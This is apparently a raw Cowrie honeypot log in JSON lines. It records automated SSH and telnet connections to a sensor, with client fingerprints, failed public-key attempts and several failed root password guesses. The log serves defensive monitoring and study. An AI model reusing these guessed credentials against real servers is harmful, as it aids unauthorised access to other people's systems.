{"eventid":"cowrie.session.closed","duration":49.14791178703308,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:11.167679Z","src_ip":"192.119.13.58","session":"c6a6693a6f79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":41978,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8775e842967","protocol":"ssh","message":"New connection: 89.108.118.91:41978 (159.203.135.109:22) [session: a8775e842967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:15.803087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:15.810329Z","src_ip":"89.108.118.91","session":"a8775e842967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:15.946406Z","src_ip":"89.108.118.91","session":"a8775e842967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456123a","message":"login attempt [root/789456123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:16.371556Z","src_ip":"89.108.118.91","session":"a8775e842967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:17.509133Z","src_ip":"89.108.118.91","session":"a8775e842967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":40344,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce567c23efa","protocol":"ssh","message":"New connection: 104.194.10.248:40344 (10.17.0.5:22) [session: 8ce567c23efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.930908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.936749Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.943981Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:1b:2b:3f:e1:83:c3:4d:aa:10:e3:ae:a1:07:03:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMmZY43vwezDZQhXCQ2/Q2YzoVu9mAE1n17buUeT5ZQb","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 00:1b:2b:3f:e1:83:c3:4d:aa:10:e3:ae:a1:07:03:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.965087Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:1b:2b:3f:e1:83:c3:4d:aa:10:e3:ae:a1:07:03:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMmZY43vwezDZQhXCQ2/Q2YzoVu9mAE1n17buUeT5ZQb","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.969283Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:36:4c:23:ae:c1:e2:2f:cc:80:c4:a7:9d:5d:7a:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC96hJ76YmgqVMyEMjarqhGum+vO0uiGKMoaotvT9fezuK3bnJGZMMUgfqYFyRSBYxGv+Ex0jqQY1UxU57Bjs2RHrF3fve4Fghu6b4keiForXGGIaKwxlJxEHzznsPedgL4g9PMQ535GcfLsncnnQ2vdei+KeR9ozp7l65uTp3opoEPeBoEz4yMp9B6UmL1TcYtNIL/LLAxStSePvC3NUUmKmVLEH6bodnWGP4fJw3+5x3d4wTgVgd0tGQ43onk/Bu1anldbYHuAkqaEdEXp/vy5Lfi1r+12FlTN7g65h4tJ/ZJ8AuD+XUYI8+bbh5kxLXrD+GseiArN0dNaBXM7zul","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:36:4c:23:ae:c1:e2:2f:cc:80:c4:a7:9d:5d:7a:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.979335Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:36:4c:23:ae:c1:e2:2f:cc:80:c4:a7:9d:5d:7a:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC96hJ76YmgqVMyEMjarqhGum+vO0uiGKMoaotvT9fezuK3bnJGZMMUgfqYFyRSBYxGv+Ex0jqQY1UxU57Bjs2RHrF3fve4Fghu6b4keiForXGGIaKwxlJxEHzznsPedgL4g9PMQ535GcfLsncnnQ2vdei+KeR9ozp7l65uTp3opoEPeBoEz4yMp9B6UmL1TcYtNIL/LLAxStSePvC3NUUmKmVLEH6bodnWGP4fJw3+5x3d4wTgVgd0tGQ43onk/Bu1anldbYHuAkqaEdEXp/vy5Lfi1r+12FlTN7g65h4tJ/ZJ8AuD+XUYI8+bbh5kxLXrD+GseiArN0dNaBXM7zul","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.983284Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:20:06:66:6d:6e:01:05:04:09:7c:65:27:08:0f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqfvZqo4GMiRU0fZVqUw5nkjOO1A5YTOK7Jz98DEWnb+xFrifXMOjyHtnmC55XwG0tBIGqgYHnUPOAltffVbccLZg5i+EyGN6ZsmGU31AnWT/kQaLcxv8BUiUb30OEFca1Ylj2sp9mOqAXh2VX7ShwM33E3B4c9Rdd9BKjvM5REce1EjxfF4utjnao6PtvpeuzQZDPbFIR6wkB3Bd/bgmYyaT2sl7KelPF+C0kvyYjOayxVQvEkfP82qmN7O+F0Ht6jOZcz+tas5uyfF9GEs0JIzVWJ8XUHtcfC8NEfluiGVYAuGKSFrWn4UigHCG5nb9E3+TluXF/D0yMRBmJP48H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:20:06:66:6d:6e:01:05:04:09:7c:65:27:08:0f:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.991384Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:20:06:66:6d:6e:01:05:04:09:7c:65:27:08:0f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqfvZqo4GMiRU0fZVqUw5nkjOO1A5YTOK7Jz98DEWnb+xFrifXMOjyHtnmC55XwG0tBIGqgYHnUPOAltffVbccLZg5i+EyGN6ZsmGU31AnWT/kQaLcxv8BUiUb30OEFca1Ylj2sp9mOqAXh2VX7ShwM33E3B4c9Rdd9BKjvM5REce1EjxfF4utjnao6PtvpeuzQZDPbFIR6wkB3Bd/bgmYyaT2sl7KelPF+C0kvyYjOayxVQvEkfP82qmN7O+F0Ht6jOZcz+tas5uyfF9GEs0JIzVWJ8XUHtcfC8NEfluiGVYAuGKSFrWn4UigHCG5nb9E3+TluXF/D0yMRBmJP48H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:30.995553Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:5e:00:ce:44:5b:d8:d8:60:a5:94:9f:e6:4d:1f:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU9+qlU7z7zukRdUCbx1ImIGe9XQs9PcRJXMF8y7uneW2hWAkpeXCywyCVQpQcerSQKbcN2h8GECBiy6HlJa0gBCxX3FpYGtd2WNWou1GELxFFE4ArZ0mVyHQERDCHo1Sl1OYy0Rlandr3O9LbcCLajIc+HrOLEj6ZdHiSZhxbCGxrnMYtfklZoOMCtKQrsaoQnVdSx2+S4B11edYxLTm2yynW3XI01FzTAj6aPrweFYE2EJDTs7FgmXf5zMqbnG6PuWzHZ1+6W1diLp7uu0BZQ526YS8FrTtIAklBbjAgNvIt7maq3ePmtjDkS7pCVBsoIILMcZrX8OkxihxVYmWf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:5e:00:ce:44:5b:d8:d8:60:a5:94:9f:e6:4d:1f:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:31.008395Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:5e:00:ce:44:5b:d8:d8:60:a5:94:9f:e6:4d:1f:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU9+qlU7z7zukRdUCbx1ImIGe9XQs9PcRJXMF8y7uneW2hWAkpeXCywyCVQpQcerSQKbcN2h8GECBiy6HlJa0gBCxX3FpYGtd2WNWou1GELxFFE4ArZ0mVyHQERDCHo1Sl1OYy0Rlandr3O9LbcCLajIc+HrOLEj6ZdHiSZhxbCGxrnMYtfklZoOMCtKQrsaoQnVdSx2+S4B11edYxLTm2yynW3XI01FzTAj6aPrweFYE2EJDTs7FgmXf5zMqbnG6PuWzHZ1+6W1diLp7uu0BZQ526YS8FrTtIAklBbjAgNvIt7maq3ePmtjDkS7pCVBsoIILMcZrX8OkxihxVYmWf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:31.012406Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:df:c6:07:14:bb:f9:83:ac:85:a8:8e:46:1f:cb:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrgURYv+dUr6FSSVMEMX+7AQQRullpRtiX84TJtIVZlSMSHccC6OWbIjdcNvBqtaatqgfgWPiObC0ItQ7a6eHQi5KAp5C39CCzWvv9WG1tMkbsiE3nu9B/vQilqpOK0jzF1SePVw+pTCaHF5JMC81wAHICcHUpK2VheA5SEcxJbQdv58qNm0L14vUkcMijm71ju1Cr6HvTrAp9GR6gAl+/Jc3kTHjGyvQrRlh7QyOE6z5NyS94GsGS1shogeglxC0vx2Xwby/3l6lYZjHwst9s+2fJ3pbLNzpufJEaX9wv7uqDUxq5CytR+wkqEOCXHuEN1vp4P2o69qKdV5CVVj8D2J0VbuZg4EJDz7zgDCd9MWCX5d0IHIcGp1FyiMkuy5DLuqboYV3Pdg+eUulYG2kXDWQSlAwPQja1rFSu8pU1OYnSAXXcQBGP1FofEciXrSrOKBh2b+bFbmFyl41skadSV+PpHPSQfKbnqOdAaj4xg796Rv7eO6TL6HgeNW7HmLs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:df:c6:07:14:bb:f9:83:ac:85:a8:8e:46:1f:cb:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:31.021204Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:df:c6:07:14:bb:f9:83:ac:85:a8:8e:46:1f:cb:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrgURYv+dUr6FSSVMEMX+7AQQRullpRtiX84TJtIVZlSMSHccC6OWbIjdcNvBqtaatqgfgWPiObC0ItQ7a6eHQi5KAp5C39CCzWvv9WG1tMkbsiE3nu9B/vQilqpOK0jzF1SePVw+pTCaHF5JMC81wAHICcHUpK2VheA5SEcxJbQdv58qNm0L14vUkcMijm71ju1Cr6HvTrAp9GR6gAl+/Jc3kTHjGyvQrRlh7QyOE6z5NyS94GsGS1shogeglxC0vx2Xwby/3l6lYZjHwst9s+2fJ3pbLNzpufJEaX9wv7uqDUxq5CytR+wkqEOCXHuEN1vp4P2o69qKdV5CVVj8D2J0VbuZg4EJDz7zgDCd9MWCX5d0IHIcGp1FyiMkuy5DLuqboYV3Pdg+eUulYG2kXDWQSlAwPQja1rFSu8pU1OYnSAXXcQBGP1FofEciXrSrOKBh2b+bFbmFyl41skadSV+PpHPSQfKbnqOdAaj4xg796Rv7eO6TL6HgeNW7HmLs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:31.024886Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:31.033666Z","src_ip":"104.194.10.248","session":"8ce567c23efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":52012,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ebdf25e7be","protocol":"ssh","message":"New connection: 41.93.28.9:52012 (10.17.0.5:22) [session: d4ebdf25e7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:43.191102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:43.195681Z","src_ip":"41.93.28.9","session":"d4ebdf25e7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:44.206988Z","src_ip":"41.93.28.9","session":"d4ebdf25e7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":50048,"dst_ip":"10.17.0.5","dst_port":22,"session":"3503371da9d6","protocol":"ssh","message":"New connection: 8.154.2.19:50048 (10.17.0.5:22) [session: 3503371da9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:46.914391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:46.919761Z","src_ip":"8.154.2.19","session":"3503371da9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:47.159277Z","src_ip":"8.154.2.19","session":"3503371da9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cernet","message":"login attempt [root/cernet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:48.114093Z","src_ip":"41.93.28.9","session":"d4ebdf25e7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig2022","message":"login attempt [root/K0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:48.152613Z","src_ip":"8.154.2.19","session":"3503371da9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:49.408036Z","src_ip":"8.154.2.19","session":"3503371da9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:50.180477Z","src_ip":"41.93.28.9","session":"d4ebdf25e7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":56332,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff839a4f9602","protocol":"ssh","message":"New connection: 43.130.57.37:56332 (10.17.0.5:22) [session: ff839a4f9602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:52.892585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:52.896879Z","src_ip":"43.130.57.37","session":"ff839a4f9602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:52.964798Z","src_ip":"43.130.57.37","session":"ff839a4f9602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!123","message":"login attempt [root/admin!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:53.270973Z","src_ip":"43.130.57.37","session":"ff839a4f9602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:54.341870Z","src_ip":"43.130.57.37","session":"ff839a4f9602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":34780,"dst_ip":"10.17.0.5","dst_port":22,"session":"447d51cbb392","protocol":"ssh","message":"New connection: 43.228.112.254:34780 (10.17.0.5:22) [session: 447d51cbb392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:03.095846Z"}
